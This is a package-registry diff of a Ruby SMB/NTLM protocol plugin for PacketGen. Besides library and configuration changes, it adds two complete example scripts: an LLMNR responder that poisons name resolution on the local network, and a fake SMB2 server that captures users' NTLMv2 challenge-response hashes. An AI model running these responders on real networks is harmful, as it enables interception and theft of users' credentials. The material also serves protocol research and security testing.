packetgen-plugin-smb 0.3.0 → 0.6.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/.github/workflows/specs.yml +28 -0
- data/.rubocop.yml +8 -1
- data/Gemfile +15 -3
- data/README.md +59 -3
- data/Rakefile +10 -4
- data/examples/llmnr-responder +110 -0
- data/examples/smb-responder +233 -0
- data/lib/packetgen-plugin-smb.rb +5 -2
- data/lib/packetgen/plugin/gssapi.rb +11 -6
- data/lib/packetgen/plugin/llmnr.rb +58 -0
- data/lib/packetgen/plugin/netbios.rb +19 -0
- data/lib/packetgen/plugin/netbios/datagram.rb +108 -0
- data/lib/packetgen/plugin/netbios/name.rb +64 -0
- data/lib/packetgen/plugin/netbios/session.rb +72 -0
- data/lib/packetgen/plugin/ntlm.rb +211 -0
- data/lib/packetgen/plugin/ntlm/authenticate.rb +197 -0
- data/lib/packetgen/plugin/ntlm/av_pair.rb +115 -0
- data/lib/packetgen/plugin/ntlm/challenge.rb +140 -0
- data/lib/packetgen/plugin/ntlm/negotiate.rb +127 -0
- data/lib/packetgen/plugin/ntlm/ntlmv2_response.rb +59 -0
- data/lib/packetgen/plugin/smb.rb +27 -15
- data/lib/packetgen/plugin/smb/blocks.rb +2 -4
- data/lib/packetgen/plugin/smb/browser.rb +8 -8
- data/lib/packetgen/plugin/smb/browser/domain_announcement.rb +2 -7
- data/lib/packetgen/plugin/smb/browser/host_announcement.rb +10 -7
- data/lib/packetgen/plugin/smb/browser/local_master_announcement.rb +2 -7
- data/lib/packetgen/plugin/smb/close.rb +2 -2
- data/lib/packetgen/plugin/smb/close/request.rb +3 -3
- data/lib/packetgen/plugin/smb/close/response.rb +3 -3
- data/lib/packetgen/plugin/smb/filetime.rb +30 -3
- data/lib/packetgen/plugin/smb/negotiate.rb +20 -0
- data/lib/packetgen/plugin/smb/negotiate/dialect.rb +39 -0
- data/lib/packetgen/plugin/smb/negotiate/request.rb +35 -0
- data/lib/packetgen/plugin/smb/negotiate/response.rb +29 -0
- data/lib/packetgen/plugin/smb/nt_create_and_x.rb +2 -2
- data/lib/packetgen/plugin/smb/ntcreateandx/request.rb +5 -5
- data/lib/packetgen/plugin/smb/ntcreateandx/response.rb +3 -3
- data/lib/packetgen/plugin/smb/string.rb +60 -23
- data/lib/packetgen/plugin/smb/trans.rb +2 -2
- data/lib/packetgen/plugin/smb/trans/request.rb +4 -4
- data/lib/packetgen/plugin/smb/trans/response.rb +3 -3
- data/lib/packetgen/plugin/smb2.rb +20 -9
- data/lib/packetgen/plugin/smb2/base.rb +5 -7
- data/lib/packetgen/plugin/smb2/error.rb +3 -4
- data/lib/packetgen/plugin/smb2/guid.rb +6 -4
- data/lib/packetgen/plugin/smb2/negotiate.rb +2 -2
- data/lib/packetgen/plugin/smb2/negotiate/context.rb +28 -27
- data/lib/packetgen/plugin/smb2/negotiate/request.rb +16 -12
- data/lib/packetgen/plugin/smb2/negotiate/response.rb +25 -14
- data/lib/packetgen/plugin/smb2/session_setup.rb +2 -2
- data/lib/packetgen/plugin/smb2/session_setup/request.rb +12 -7
- data/lib/packetgen/plugin/smb2/session_setup/response.rb +13 -8
- data/lib/packetgen/plugin/smb_version.rb +3 -1
- data/packetgen-plugin-smb.gemspec +10 -15
- metadata +28 -81
- data/.travis.yml +0 -12
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 4b63382e5580528b23ba059cd370db53203efec6cd6273388f88b15976b9343d
|
4
|
+
data.tar.gz: 425f63395bdc0c38e1288f0690fd8cc51c944645b5fc017e2c6289ba9c54b78d
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: '08a4a6e817ff3ae8c7c341c6af64722fcdf09331767627adf04c36a6f442dcc6ea7dfb21cd76f2ec3c1f9818b5b3e565806b5391d041130c189de9fc89eacaf6'
|
7
|
+
data.tar.gz: b537ad94930b18a5ab93a219a66090384c84f0cfae44426b42304732c0f31e41c9903e9cf8eb41778e82661eb5803d33cdca640104b7a0e5db37df2497320af9
|
@@ -0,0 +1,28 @@
|
|
1
|
+
name: Specs
|
2
|
+
on:
|
3
|
+
push:
|
4
|
+
branches: [ master ]
|
5
|
+
pull_request:
|
6
|
+
branches: [ master ]
|
7
|
+
jobs:
|
8
|
+
test:
|
9
|
+
strategy:
|
10
|
+
fail-fast: false
|
11
|
+
matrix:
|
12
|
+
os: [ubuntu-latest]
|
13
|
+
ruby: [2.4, 2.5, 2.6, 2.7]
|
14
|
+
runs-on: ${{ matrix.os }}
|
15
|
+
steps:
|
16
|
+
- uses: actions/checkout@v2
|
17
|
+
- name: Install dependencies
|
18
|
+
run: sudo apt-get update -qq && sudo apt-get install libpcap-dev -qq
|
19
|
+
- name: Set up Ruby
|
20
|
+
uses: ruby/setup-ruby@v1
|
21
|
+
with:
|
22
|
+
ruby-version: ${{ matrix.ruby }}
|
23
|
+
- name: Run tests
|
24
|
+
run: |
|
25
|
+
bundle config set path 'vendor/bundle'
|
26
|
+
bundle config set --local without noci
|
27
|
+
bundle install
|
28
|
+
bundle exec rake
|
data/.rubocop.yml
CHANGED
@@ -1,4 +1,7 @@
|
|
1
|
-
|
1
|
+
require:
|
2
|
+
- rubocop-performance
|
3
|
+
Layout/LineLength:
|
4
|
+
Max: 150
|
2
5
|
Layout/SpaceAroundEqualsInParameterDefault:
|
3
6
|
EnforcedStyle: no_space
|
4
7
|
Lint/EmptyWhen:
|
@@ -7,8 +10,12 @@ Lint/Void:
|
|
7
10
|
Enabled: false
|
8
11
|
Metrics:
|
9
12
|
Enabled: false
|
13
|
+
Style/AccessModifierDeclarations:
|
14
|
+
Enabled: false
|
10
15
|
Style/AsciiComments:
|
11
16
|
Enabled: false
|
17
|
+
Style/ClassAndModuleChildren:
|
18
|
+
Enabled: false
|
12
19
|
Style/Encoding:
|
13
20
|
Enabled: false
|
14
21
|
Style/EvalWithLocation:
|
data/Gemfile
CHANGED
@@ -1,6 +1,18 @@
|
|
1
|
-
|
1
|
+
# frozen_string_literal: true
|
2
2
|
|
3
|
-
|
3
|
+
source 'https://rubygems.org'
|
4
4
|
|
5
|
-
# Specify your gem's dependencies in packetgen-plugin-smb.gemspec
|
6
5
|
gemspec
|
6
|
+
|
7
|
+
gem 'bundler', '>=1.17', '<3'
|
8
|
+
gem 'rake', '~> 12.3'
|
9
|
+
gem 'rspec', '~> 3.10'
|
10
|
+
|
11
|
+
group :noci do
|
12
|
+
gem 'debase', '~>0.2'
|
13
|
+
gem 'rubocop', '~> 1.6.0'
|
14
|
+
gem 'rubocop-performance', '~> 1.9'
|
15
|
+
gem 'ruby-debug-ide', '~> 0.7'
|
16
|
+
gem 'simplecov', '~> 0.18'
|
17
|
+
gem 'yard', '~> 0.9'
|
18
|
+
end
|
data/README.md
CHANGED
@@ -1,9 +1,26 @@
|
|
1
1
|
[](https://badge.fury.io/rb/packetgen-plugin-smb)
|
2
|
-
[](https://travis-ci.com/sdaubert/packetgen-plugin-smb)
|
3
2
|
|
4
3
|
# Packetgen::Plugin::SMB
|
5
4
|
|
6
|
-
This is a plugin for [PacketGen gem](https://github.com/sdaubert/packetgen). It adds some support for SMB protocol suite
|
5
|
+
This is a plugin for [PacketGen gem](https://github.com/sdaubert/packetgen). It adds some support for SMB protocol suite:
|
6
|
+
|
7
|
+
* NetBIOS:
|
8
|
+
* Datagram service,
|
9
|
+
* Session service,
|
10
|
+
* SMB:
|
11
|
+
* SMB common header,
|
12
|
+
* Negotiate command,
|
13
|
+
* Close command,
|
14
|
+
* NtCreateAndX command,
|
15
|
+
* Trans command,
|
16
|
+
* Browser subprotocol,
|
17
|
+
* SMB2:
|
18
|
+
* SMB2 common header (support 2.x and 3.x dialects),
|
19
|
+
* Negotiate command,
|
20
|
+
* SessionSetup command,
|
21
|
+
* GSSAPI, used to transport negotiation over SMB2 commands,
|
22
|
+
* NTLM, SMB authentication protocol,
|
23
|
+
* LLMNR (_Link-Local Multicast Name Resolution_), resolution protocol used in SMB networks.
|
7
24
|
|
8
25
|
## Installation
|
9
26
|
|
@@ -23,7 +40,46 @@ Or install it yourself as:
|
|
23
40
|
|
24
41
|
## Usage
|
25
42
|
|
26
|
-
|
43
|
+
### SMB2 with NTLM negociation
|
44
|
+
|
45
|
+
See [examples/smb-responder](/examples/smb-responder).
|
46
|
+
|
47
|
+
### LLMNR
|
48
|
+
|
49
|
+
LLMNR is a multicast protocol. Unless you want to have a fine control on UDP layer, the simplest way is to use it over a UDP ruby socket:
|
50
|
+
|
51
|
+
```ruby
|
52
|
+
require 'socket'
|
53
|
+
require 'packetgen'
|
54
|
+
require 'packetgen-plugin-smb'
|
55
|
+
|
56
|
+
LLMNR_MCAST_ADDR = '224.0.0.252'
|
57
|
+
LOCAL_IPADDR = 'x.x.x.x' # your IP
|
58
|
+
|
59
|
+
# Open a UDP socket
|
60
|
+
socket = UDPSocket.new
|
61
|
+
# Bind it to receive LLMNR response packets
|
62
|
+
socket.bind(LOCAL_IPADDR, 0)
|
63
|
+
|
64
|
+
# Send a LLMNR query
|
65
|
+
query = PacketGen.gen('LLMNR', id: 0x1234, opcode: 'query')
|
66
|
+
query.llmnr.qd << { rtype: 'Question', name: 'example.local' }
|
67
|
+
socket.send(query.to_s, 0, LLMNR_MCAST_ADDR, PacketGen::Plugin::LLMNR::UDP_PORT)
|
68
|
+
|
69
|
+
# Get answer
|
70
|
+
# data = socket.recv(1024)
|
71
|
+
data, peer = socket.recvfrom(1024)
|
72
|
+
answer = PacketGen.parse(data, first_header: 'LLMNR')
|
73
|
+
example_local_ip = answer.llmnr.an.to_a
|
74
|
+
.find { |an| an.is_a?(PacketGen::Header::DNS::RR) }.human_rdata
|
75
|
+
puts example_local_ip
|
76
|
+
```
|
77
|
+
|
78
|
+
You have to manage multicast if you want to make a LLMNR responder. For further details, see [examples/llmnr-responder](/examples/llmnr-responder).
|
79
|
+
|
80
|
+
## See also
|
81
|
+
|
82
|
+
API documentation: http://www.rubydoc.info/gems/packetgen-plugin-smb
|
27
83
|
|
28
84
|
## License
|
29
85
|
|
data/Rakefile
CHANGED
@@ -1,13 +1,19 @@
|
|
1
|
+
# frozen_string_literal: true
|
1
2
|
|
2
3
|
require 'bundler/gem_tasks'
|
3
4
|
require 'rspec/core/rake_task'
|
4
|
-
require 'yard'
|
5
5
|
|
6
6
|
task default: :spec
|
7
7
|
|
8
8
|
RSpec::Core::RakeTask.new
|
9
9
|
|
10
|
-
|
11
|
-
|
12
|
-
|
10
|
+
begin
|
11
|
+
require 'yard'
|
12
|
+
|
13
|
+
YARD::Rake::YardocTask.new do |t|
|
14
|
+
t.options = ['--no-private']
|
15
|
+
t.files = ['lib/**/*.rb', '-', 'LICENSE']
|
16
|
+
end
|
17
|
+
rescue LoadError
|
18
|
+
# no yard, so no yard task
|
13
19
|
end
|
@@ -0,0 +1,110 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# This file is part of packetgen-plugin-smb.
|
3
|
+
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
4
|
+
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
5
|
+
# This program is published under MIT license.
|
6
|
+
#
|
7
|
+
# This small example implements a LLMNR responder. It responds to all LLMNR
|
8
|
+
# requests on local network, and says requested name is its IP address.
|
9
|
+
|
10
|
+
# frozen_string_literal: true
|
11
|
+
|
12
|
+
require 'optparse'
|
13
|
+
require 'socket'
|
14
|
+
require 'ipaddr'
|
15
|
+
|
16
|
+
require 'packetgen'
|
17
|
+
require 'packetgen-plugin-smb'
|
18
|
+
|
19
|
+
BIND_ADDR = '0.0.0.0'
|
20
|
+
|
21
|
+
class LlmnrResponder
|
22
|
+
attr_reader :socket, :my_ip, :my_ip_data
|
23
|
+
|
24
|
+
LLMNR_MCAST_ADDR = '224.0.0.252'
|
25
|
+
|
26
|
+
def initialize
|
27
|
+
@socket = UDPSocket.new
|
28
|
+
end
|
29
|
+
|
30
|
+
def start(bind_addr:, iface:)
|
31
|
+
@my_ip = Interfacez.ipv4_address_of(iface)
|
32
|
+
@my_ip_data = IPAddr.new(my_ip).hton
|
33
|
+
configure_multicast(my_ip_data)
|
34
|
+
|
35
|
+
socket.bind(bind_addr, PacketGen::Plugin::LLMNR::UDP_PORT)
|
36
|
+
|
37
|
+
start_loop
|
38
|
+
end
|
39
|
+
|
40
|
+
private
|
41
|
+
|
42
|
+
def log(str)
|
43
|
+
puts "[LLMNR] #{str}"
|
44
|
+
end
|
45
|
+
|
46
|
+
def configure_multicast(local_ip_bin)
|
47
|
+
mreq = IPAddr.new(LLMNR_MCAST_ADDR).hton + local_ip_bin
|
48
|
+
socket.setsockopt(:IPPROTO_IP, :IP_ADD_MEMBERSHIP, mreq)
|
49
|
+
end
|
50
|
+
|
51
|
+
def start_loop
|
52
|
+
loop do
|
53
|
+
data, peer = socket.recvfrom(1024)
|
54
|
+
pkt = PacketGen.parse(data, first_header: 'LLMNR')
|
55
|
+
next unless pkt.is?('LLMNR')
|
56
|
+
|
57
|
+
peer_port = peer[1]
|
58
|
+
peer_ip = peer[3]
|
59
|
+
log "received LLMNR request from #{peer_ip}"
|
60
|
+
|
61
|
+
# Forge LLMNR response
|
62
|
+
response_pkt = pkt.reply
|
63
|
+
response_pkt.llmnr.qr = true
|
64
|
+
response_pkt.llmnr.qd.each do |question|
|
65
|
+
next unless (question.human_rrclass == 'IN') && (question.human_type == 'A')
|
66
|
+
|
67
|
+
log "Say to #{peer_ip} #{question.name} is #{my_ip}"
|
68
|
+
answer = { rtype: 'RR', name: question.name, rdata: my_ip_data }
|
69
|
+
response_pkt.llmnr.an << answer
|
70
|
+
end
|
71
|
+
response_pkt.calc
|
72
|
+
|
73
|
+
next unless response_pkt.llmnr.ancount > 0
|
74
|
+
|
75
|
+
socket.send(response_pkt.to_s, 0, peer_ip, peer_port)
|
76
|
+
end
|
77
|
+
end
|
78
|
+
end
|
79
|
+
|
80
|
+
def parse_options
|
81
|
+
options = {}
|
82
|
+
|
83
|
+
OptionParser.new do |opts|
|
84
|
+
opts.banner = "Usage: #{$PROGRAM_NAME} [options]"
|
85
|
+
opts.separator ''
|
86
|
+
opts.separator 'Options:'
|
87
|
+
|
88
|
+
opts.on_tail('-h', '--help', 'Show this message') do
|
89
|
+
puts opts
|
90
|
+
exit
|
91
|
+
end
|
92
|
+
|
93
|
+
opts.on('-i IFACE', '--interface IFACE', 'interface on which responds') do |iface|
|
94
|
+
options[:iface] = iface
|
95
|
+
end
|
96
|
+
end.parse!
|
97
|
+
|
98
|
+
options
|
99
|
+
end
|
100
|
+
|
101
|
+
def check_options(options)
|
102
|
+
raise 'No interface given' if options[:iface].nil?
|
103
|
+
raise "unknown interface #{options[:iface]}" unless Interfacez.all.include? options[:iface]
|
104
|
+
end
|
105
|
+
|
106
|
+
options = parse_options
|
107
|
+
|
108
|
+
check_options options
|
109
|
+
|
110
|
+
LlmnrResponder.new.start(bind_addr: BIND_ADDR, iface: options[:iface])
|
@@ -0,0 +1,233 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# This file is part of packetgen-plugin-smb.
|
3
|
+
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
4
|
+
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
5
|
+
# This program is published under MIT license.
|
6
|
+
#
|
7
|
+
# This small example implements a SMB responder. It responds to all SMB
|
8
|
+
# Negotiate request to capture credentials.
|
9
|
+
# Before running it (as root), llmnr-responder should be running.
|
10
|
+
|
11
|
+
# frozen_string_literal: true
|
12
|
+
|
13
|
+
require 'socket'
|
14
|
+
require 'securerandom'
|
15
|
+
require 'ostruct'
|
16
|
+
|
17
|
+
require 'packetgen'
|
18
|
+
require 'packetgen-plugin-smb'
|
19
|
+
|
20
|
+
BIND_ADDR = '0.0.0.0'
|
21
|
+
|
22
|
+
DOMAIN_NAME = 'SMB3'
|
23
|
+
COMPUTER_NAME = 'WIN-AZE546CFHTD'
|
24
|
+
|
25
|
+
Thread.abort_on_exception = true
|
26
|
+
|
27
|
+
Credentials = Struct.new(:user, :computer, :challenge, :proof, :response, :ip) do
|
28
|
+
def to_s
|
29
|
+
user = self.user.encode('UTF-8')
|
30
|
+
computer = self.computer.encode('UTF-8')
|
31
|
+
str = +"User: #{user}\nComputer:#{computer} (IP: #{ip})\n"
|
32
|
+
str << "Challenge: #{challenge}\nProof: #{proof}\n"
|
33
|
+
str << "Response: #{response}"
|
34
|
+
end
|
35
|
+
end
|
36
|
+
|
37
|
+
class Smb2Responder
|
38
|
+
attr_reader :socket, :guid, :salt
|
39
|
+
|
40
|
+
NTLMSSP_OID = '1.3.6.1.4.1.311.2.2.10'
|
41
|
+
STATUS_MORE_PROCESSING_REQUIRED = 0xc0000016
|
42
|
+
STATUS_ACCESS_DENIED = 0xc0000022
|
43
|
+
|
44
|
+
SMB2_SIZE = 8_388_608
|
45
|
+
SMB2_NEGO_RESP_BUFFER = "`\x82\x01<\x06\x06+\x06\x01\x05\x05\x02\xA0\x82\x0100\x82\x01,\xA0\x1A0\x18\x06\n+\x06\x01\x04\x01\x827\x02\x02\x1E\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xA2\x82\x01\f\x04\x82\x01\bNEGOEXTS\x01\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00p\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\x7F\x15\x93\x15k\xE5\x88\n\x9A\\\x9A\xD6\x9EK`\x81\a\xEF\xF7f\xF6\x80\xAA\x17\xE0\xC2\xC5\xE5\xDB\x05\\\v\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\bNEGOEXTS\x03\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\b@\x00\x00\x00X\x00\x00\x000V\xA0T0R0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key"
|
46
|
+
SMB2_SALT_LEN = 32
|
47
|
+
|
48
|
+
def initialize
|
49
|
+
@guid = SecureRandom.uuid
|
50
|
+
@salt = SecureRandom.random_bytes(SMB2_SALT_LEN)
|
51
|
+
end
|
52
|
+
|
53
|
+
def start(bind_addr:)
|
54
|
+
@socket = TCPServer.new(bind_addr, PacketGen::Plugin::NetBIOS::Session::TCP_PORT2)
|
55
|
+
|
56
|
+
start_loop
|
57
|
+
end
|
58
|
+
|
59
|
+
private
|
60
|
+
|
61
|
+
def log(str)
|
62
|
+
puts "[SMB2] #{str}"
|
63
|
+
end
|
64
|
+
|
65
|
+
def get_smb_data(sock)
|
66
|
+
PacketGen.parse(sock.recv(1024), first_header: 'NetBIOS::Session')
|
67
|
+
end
|
68
|
+
|
69
|
+
def smb2_nego_resp1
|
70
|
+
return @resp1_pkt if defined? @resp1_pkt
|
71
|
+
|
72
|
+
@resp1_pkt = PacketGen.gen('NetBIOS::Session')
|
73
|
+
.add('SMB2', credit: 1)
|
74
|
+
.add('SMB2::Negotiate::Response',
|
75
|
+
dialect: 0x2ff,
|
76
|
+
server_guid: guid, capabilities: 7,
|
77
|
+
max_trans_size: SMB2_SIZE,
|
78
|
+
max_read_size: SMB2_SIZE,
|
79
|
+
max_write_size: SMB2_SIZE)
|
80
|
+
@resp1_pkt.smb2_negotiate_response[:buffer] = PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER)
|
81
|
+
@resp1_pkt.calc
|
82
|
+
@resp1_pkt
|
83
|
+
end
|
84
|
+
|
85
|
+
def first_nego_response
|
86
|
+
pkt = smb2_nego_resp1
|
87
|
+
pkt.smb2_negotiate_response[:system_time] = PacketGen::Plugin::SMB::Filetime.now
|
88
|
+
pkt
|
89
|
+
end
|
90
|
+
|
91
|
+
def second_nego_response(req_pkt)
|
92
|
+
smb2_req = req_pkt.smb2
|
93
|
+
nego_req = req_pkt.smb2_negotiate_request
|
94
|
+
|
95
|
+
pkt = PacketGen.gen('NetBIOS::Session')
|
96
|
+
.add('SMB2',
|
97
|
+
credit: 1,
|
98
|
+
message_id: smb2_req.message_id,
|
99
|
+
reserved: smb2_req.reserved)
|
100
|
+
.add('SMB2::Negotiate::Response',
|
101
|
+
dialect: nego_req.dialects.last,
|
102
|
+
server_guid: guid,
|
103
|
+
capabilities: 0x2f,
|
104
|
+
max_trans_size: SMB2_SIZE,
|
105
|
+
max_read_size: SMB2_SIZE,
|
106
|
+
max_write_size: SMB2_SIZE,
|
107
|
+
system_time: PacketGen::Plugin::SMB::Filetime.now,
|
108
|
+
buffer: PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER))
|
109
|
+
|
110
|
+
pkt.smb2_negotiate_response.context_list << { type: 1, salt_length: SMB2_SALT_LEN, salt: salt }
|
111
|
+
pkt.smb2_negotiate_response.context_list.last.hash_alg << PacketGen::Types::Int16le.new(1)
|
112
|
+
|
113
|
+
pkt.smb2_negotiate_response.context_list << { type: 2 }
|
114
|
+
pkt.smb2_negotiate_response.context_list.last.ciphers << PacketGen::Types::Int16le.new(1)
|
115
|
+
pkt.calc
|
116
|
+
pkt
|
117
|
+
end
|
118
|
+
|
119
|
+
def first_session_setup_response(req_pkt)
|
120
|
+
smb2_req = req_pkt.smb2
|
121
|
+
setup_req = req_pkt.smb2_sessionsetup_request
|
122
|
+
ntlm_nego = PacketGen::Plugin::NTLM.read(setup_req.buffer[:token_init][:mech_token].value)
|
123
|
+
|
124
|
+
pkt = PacketGen.gen('NetBIOS::Session')
|
125
|
+
.add('SMB2',
|
126
|
+
credit_charge: 1,
|
127
|
+
credit: 1,
|
128
|
+
status: STATUS_MORE_PROCESSING_REQUIRED,
|
129
|
+
message_id: smb2_req.message_id,
|
130
|
+
reserved: smb2_req.reserved)
|
131
|
+
.add('SMB2::SessionSetup::Response')
|
132
|
+
|
133
|
+
ntlm = PacketGen::Plugin::NTLM::Challenge.new
|
134
|
+
ntlm.flags = ntlm_nego.flags | 0x00810000
|
135
|
+
ntlm.flags &= 0xfdffff15
|
136
|
+
ntlm.challenge = [rand(2**64)].pack('q<')
|
137
|
+
ntlm.target_name.read('SMB3')
|
138
|
+
ntlm.target_info << { type: 'DomainName', value: DOMAIN_NAME }
|
139
|
+
ntlm.target_info << { type: 'ComputerName', value: COMPUTER_NAME }
|
140
|
+
ntlm.target_info << { type: 'DnsDomainName', value: "#{DOMAIN_NAME}.local" }
|
141
|
+
ntlm.target_info << { type: 'DnsComputerName', value: "#{COMPUTER_NAME}.local" }
|
142
|
+
ntlm.target_info << { type: 'DnsTreeName', value: "#{DOMAIN_NAME}.local" }
|
143
|
+
ntlm.target_info << { type: 'Timestamp', value: PacketGen::Plugin::SMB::Filetime.now.to_human }
|
144
|
+
ntlm.target_info << { type: 'EOL' }
|
145
|
+
ntlm.calc_length
|
146
|
+
|
147
|
+
gssapi = pkt.smb2_sessionsetup_response.buffer
|
148
|
+
gssapi[:token_resp][:response].value = ntlm.to_s
|
149
|
+
gssapi[:token_resp][:negstate].value = 'accept-incomplete'
|
150
|
+
gssapi[:token_resp][:supported_mech] = NTLMSSP_OID
|
151
|
+
|
152
|
+
pkt.calc
|
153
|
+
|
154
|
+
[pkt, ntlm.challenge]
|
155
|
+
end
|
156
|
+
|
157
|
+
def deny_access(req_pkt)
|
158
|
+
smb2_req = req_pkt.smb2
|
159
|
+
pkt = PacketGen.gen('NetBIOS::Session')
|
160
|
+
.add('SMB2',
|
161
|
+
credit: 1,
|
162
|
+
credit_charge: 1,
|
163
|
+
status: STATUS_ACCESS_DENIED,
|
164
|
+
message_id: smb2_req.message_id,
|
165
|
+
reserved: smb2_req.reserved)
|
166
|
+
.add('SMB2::SessionSetup::Response')
|
167
|
+
# Remove buffer
|
168
|
+
pkt.smb2_sessionsetup_response[:buffer] = PacketGen::Types::String.new
|
169
|
+
pkt.calc
|
170
|
+
pkt
|
171
|
+
end
|
172
|
+
|
173
|
+
def start_loop
|
174
|
+
loop do
|
175
|
+
client = socket.accept
|
176
|
+
to_close = false
|
177
|
+
|
178
|
+
log "connection from #{client.peeraddr[2]}"
|
179
|
+
|
180
|
+
credentials = Credentials.new
|
181
|
+
credentials.ip = client.peeraddr.last
|
182
|
+
|
183
|
+
until to_close
|
184
|
+
rcv_pkt = get_smb_data(client)
|
185
|
+
|
186
|
+
pkt_to_send = case rcv_pkt.headers.last.protocol_name
|
187
|
+
when 'SMB::Negotiate::Request'
|
188
|
+
unless rcv_pkt.smb_negotiate_request.dialects.map(&:to_human).include?('SMB 2.???')
|
189
|
+
to_close = true
|
190
|
+
nil
|
191
|
+
end
|
192
|
+
|
193
|
+
first_nego_response
|
194
|
+
|
195
|
+
when 'SMB2::Negotiate::Request'
|
196
|
+
second_nego_response rcv_pkt
|
197
|
+
|
198
|
+
when 'SMB2::SessionSetup::Request'
|
199
|
+
gssapi = rcv_pkt.smb2_sessionsetup_request.buffer
|
200
|
+
if gssapi[:token_init][:mech_types].value.map(&:value).include?(NTLMSSP_OID)
|
201
|
+
pkt, challenge = first_session_setup_response(rcv_pkt)
|
202
|
+
credentials.challenge = binary2hex(challenge)
|
203
|
+
pkt
|
204
|
+
else
|
205
|
+
response = PacketGen::Plugin::NTLM.read(gssapi[:token_resp][:response].value)
|
206
|
+
if response.is_a?(PacketGen::Plugin::NTLM::Authenticate)
|
207
|
+
credentials.proof = binary2hex(response.nt_response.response)
|
208
|
+
credentials.user = response.user_name
|
209
|
+
credentials.computer = response.workstation
|
210
|
+
credentials.response = binary2hex(response.nt_response.to_s[response.nt_response[:response].sz..-5])
|
211
|
+
to_close = true
|
212
|
+
deny_access rcv_pkt
|
213
|
+
else
|
214
|
+
to_close = true
|
215
|
+
nil
|
216
|
+
end
|
217
|
+
end
|
218
|
+
end
|
219
|
+
|
220
|
+
client.send(pkt_to_send.to_s, 0) if pkt_to_send
|
221
|
+
client.close if to_close
|
222
|
+
|
223
|
+
puts credentials.to_s unless credentials.response.nil?
|
224
|
+
end
|
225
|
+
end
|
226
|
+
end
|
227
|
+
|
228
|
+
def binary2hex(str)
|
229
|
+
str.unpack('H*').first
|
230
|
+
end
|
231
|
+
end
|
232
|
+
|
233
|
+
Smb2Responder.new.start(bind_addr: BIND_ADDR)
|